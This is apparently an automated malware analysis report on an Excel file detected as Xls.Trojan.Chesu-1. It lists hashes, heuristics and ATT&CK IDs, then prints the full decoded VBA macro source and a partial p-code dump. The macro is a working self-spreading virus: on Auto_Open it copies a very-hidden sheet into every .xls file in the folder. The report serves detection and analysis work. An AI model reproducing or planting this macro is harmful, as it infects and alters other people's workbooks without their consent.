Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fed04705b7651e36…

MALICIOUS

Office (OLE)

512.5 KB Created: 1999-01-14 09:07:07 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 0c5b71f868708c591d219089914fa20b SHA-1: 39fdf79655d082f2133f31a1ea7ddfde118b8270 SHA-256: fed04705b7651e365734d47b67a6de23421537ffe2c008e1290fa9e2fa693f24
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Xls.Trojan.Chesu-1. It contains VBA macros, including an Auto_Open macro, which is a common technique for executing malicious code upon opening the document. The script attempts to copy itself into other XLS files found in the directory, suggesting a self-spreading or propagation mechanism.

Heuristics 3

  • ClamAV: Xls.Trojan.Chesu-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Chesu-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4628 bytes
SHA-256: 31fc441d61432909a0ac45b536e6144471e53add12c1c37ffd008b43bb70cd39
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XXL"
Const Name = "XXL"
Dim A, u_B As Object


Sub Auto_open()
Attribute Auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
  Application.StatusBar = "Viel Spaß bei der Arbeit !"
  SucheXLS
  Application.StatusBar = ""
End Sub


Function SucheMappe(MName As String) As Boolean
Attribute SucheMappe.VB_ProcData.VB_Invoke_Func = " \n14"
  Dim flag As Boolean
  Dim M As Object
  flag = False
  For Each M In Workbooks
    If M.Name = MName Then flag = True
  Next
  SucheMappe = flag
End Function


Sub KopiereSelbst(M As String)
Attribute KopiereSelbst.VB_ProcData.VB_Invoke_Func = " \n14"
  On Error GoTo KopiereEnde
  A.Sheets(Name).Visible = True
  A.Sheets(Name).Copy Before:=Workbooks(M).Sheets(1)
  Sheets(Name).Visible = xlVeryHidden
  A.Activate
  Sheets(Name).Visible = xlVeryHidden
KopiereEnde:
End Sub
 
 
Sub SucheXLS()
Attribute SucheXLS.VB_ProcData.VB_Invoke_Func = " \n14"
  Dim DName As String
  Application.ScreenUpdating = False
  On Error GoTo SucheEnde
  Set A = ActiveWorkbook
  Set u_B = A.ActiveSheet
  DName = Dir("*.xls", 0)
  While DName <> ""
    If SucheMappe(DName) = False Then
      Workbooks.Open Filename:=DName, UpdateLinks:=0
      If Sheets(1).Name <> Name Then
        KopiereSelbst DName
      End If
      Workbooks(DName).Close True
    End If
    DName = Dir()
  Wend
SucheEnde:
  Application.ScreenUpdating = True
End Sub



' Processing file: /opt/analyzer/scan_staging/679de1db46954a80bc6baa5dbeae84fd.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/XXL - 3238 bytes
' Line #0:
' 	Dim (Const) 
' 	LitStr 0x0003 "XXL"
' 	VarDefn New
' Line #1:
' 	Dim 
' 	VarDefn A
' 	VarDefn u_B (As Object)
' Line #2:
' Line #3:
' Line #4:
' 	FuncDefn (Sub Auto_open())
' Line #5:
' 	LitStr 0x001A "Viel Spaß bei der Arbeit !"
' 	Ld Application 
' 	MemSt StatusBar 
' Line #6:
' 	ArgsCall SucheXLS 0x0000 
' Line #7:
' 	LitStr 0x0000 ""
' 	Ld Application 
' 	MemSt StatusBar 
' Line #8:
' 	EndSub 
' Line #9:
' Line #10:
' Line #11:
' 	FuncDefn (Function SucheMappe(MName As String) As Boolean)
' Line #12:
' 	Dim 
' 	VarDefn flag (As Boolean)
' Line #13:
' 	Dim 
' 	VarDefn M (As Object)
' Line #14:
' 	LitVarSpecial (False)
' 	St flag 
' Line #15:
' 	StartForVariable 
' 	Ld M 
' 	EndForVariable 
' 	Ld Workbooks 
' 	ForEach 
' Line #16:
' 	Ld M 
' 	MemLd New 
' 	Ld MName 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St flag 
' 	EndIf 
' Line #17:
' 	StartForVariable 
' 	Next 
' Line #18:
' 	Ld flag 
' 	St SucheMappe 
' Line #19:
' 	EndFunc 
' Line #20:
' Line #21:
' Line #22:
' 	FuncDefn (Sub KopiereSelbst(M As String))
' Line #23:
' 	OnError KopiereEnde 
' Line #24:
' 	LitVarSpecial (True)
' 	Ld New 
' 	Ld A 
' 	ArgsMemLd Sheets 0x0001 
' 	MemSt Visible 
' Line #25:
' 	LitDI2 0x0001 
' 	Ld M 
' 	ArgsLd Workbooks 0x0001 
' 	ArgsMemLd Sheets 0x0001 
' 	ParamNamed Before 
' 	Ld New 
' 	Ld A 
' 	ArgsMemLd Sheets 0x0001 
' 	ArgsMemCall Copy 0x0001 
' Line #26:
' 	Ld xlVeryHidden 
' 	Ld New 
' 	ArgsLd Sheets 0x0001 
' 	MemSt Visible 
' Line #27:
' 	Ld A 
' 	ArgsMemCall Activate 0x0000 
' Line #28:
' 	Ld xlVeryHidden 
' 	Ld New 
' 	ArgsLd Sheets 0x0001 
' 	MemSt Visible 
' Line #29:
' 	Label KopiereEnde 
' Line #30:
' 	EndSub 
' Line #31:
' Line #32:
' Line #33:
' 	FuncDefn (Sub SucheXLS())
' Line #34:
' 	Dim 
' 	VarDefn DName (As String)
' Line #35:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #36:
' 	OnError SucheEnde 
' Line #37:
' 	SetStmt 
' 	Ld ActiveWorkbook 
' 	Set A 
' Line #38:
' 	SetStmt 
' 	Ld A 
' 	MemLd ActiveSheet 
' 	Set u_B 
' Line #39:
' 	LitStr 0x0005 "*.xls"
' 	LitDI2 0x0000 
' 	ArgsLd Dir 0x0002 
' 	St DName 
' Line #40:
' 	Ld DName 
' 	LitStr 0x0000 ""
' 	Ne 
' 	While 
' Line #41:
' 	Ld DName 
' 	ArgsLd SucheMappe 0x0001 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #42:
' 	Ld DName 
' 	ParamNamed Filename 
' 	LitDI2 0x0000 
' 	ParamNamed UpdateLinks 
' 	Ld Workbooks 
' 	ArgsMemCall Option 0x0002 
' Line #43:
' 	L
... (truncated)

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